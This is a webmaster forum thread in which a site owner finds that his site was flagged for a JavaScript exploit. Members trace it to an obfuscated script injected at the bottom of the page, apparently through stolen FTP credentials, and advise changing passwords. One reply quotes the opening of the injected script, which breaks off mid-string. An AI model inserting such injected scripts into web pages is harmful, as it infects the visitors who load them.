Trojan virus (dialer) from Xstash ????

[amadman]

My gf recieved a rejection letter from a members linklist that stated that they would not list the site because they got a trojan from xstash.

I emailed the list owner to see if they had received the trojan VBS/Psyme (dialer?) from a submited site and they said that their virus scanner was going off on xstash itself.

So I was wondering if other people (with protection) could visit http://xstash.com and see if they are getting warnings?
(I am not sure which scanner they are using at this time.)

Also I was wondering what could cause a false scan? Because I know that I have not put any trojans or the like on xstash.

Thanks in advance
Amadman

[Fonz]

I'm not getting any warnings either.
Maybe it was from a link they clicked that took them to a site that did have a trojan install on it?

[amadman]

Thanks for checking fonz.

That is what I thought too. But when I emailed them they said they were getting warnings at http://xstash.com/

It seems crazy. Can they be infected by something that makes it look like they are getting stuff from somewhere else?

[HC-Majick]

I get this when I go to xstash.com :

Malware detected
Exploit.JS.ADODB.Stream.v

Got the alert when I checked the last freesite you submitted as well as just now when I went to xtash

[cd34]

there is a script at the bottom of the page that is typically inserted through FTP access to the account.


<script language="JavaScript">
e = '0x00' + '3D';str1 = "%86%DE%D5%C8%A2%

[amadman]

What the fuck?

Just checked the index of xstash.com and there was some javascript at the bottom of the source!

I know for sure that I did not put that there. How could this be done? Could my server be infected with something?

[amadman]

oops.. sorry sparky. I posted without checking replies.

Does that meen someone knows my ftp info?

[MrYum]

oops.. sorry sparky. I posted without checking replies.

Does that meen someone knows my ftp info?
Very likely...yes, your information has been compromised :(

I had this happen a few years ago. From what I was told, the fuckers were sniffing the ftp info through an unsecure login to the server. And the host wasn't smart enough to figure out how to stop them. Was hacked 7 times in a week |banghead|

Definitely get your ftp info changed immediately!

[Chop Smith]

Happy Birthday.

Before reading the entire thread. I visted your site and surfed the categories pages. Norton did not detect anything so I assumed you had corrected the problem.

I recently had to change my server password and delete some old ftp accounts including the one set up for you. After reading cd34 updates about these virus, I plan to routinely change the pass on the server and ftp accounts.

[amadman]

Thanks Everyone! I got the password changed. Now I need to find what damage has been done.

Thanks Chop! With all the confusion I forgot it was my birthday. lol

I think I will start changing those often now too.

[troy]

Glad you found the problem Amadman.
I have added your freesite.

[amadman]

Great! Thanks Troy.

And thanks again for pointing this out to me.|thumb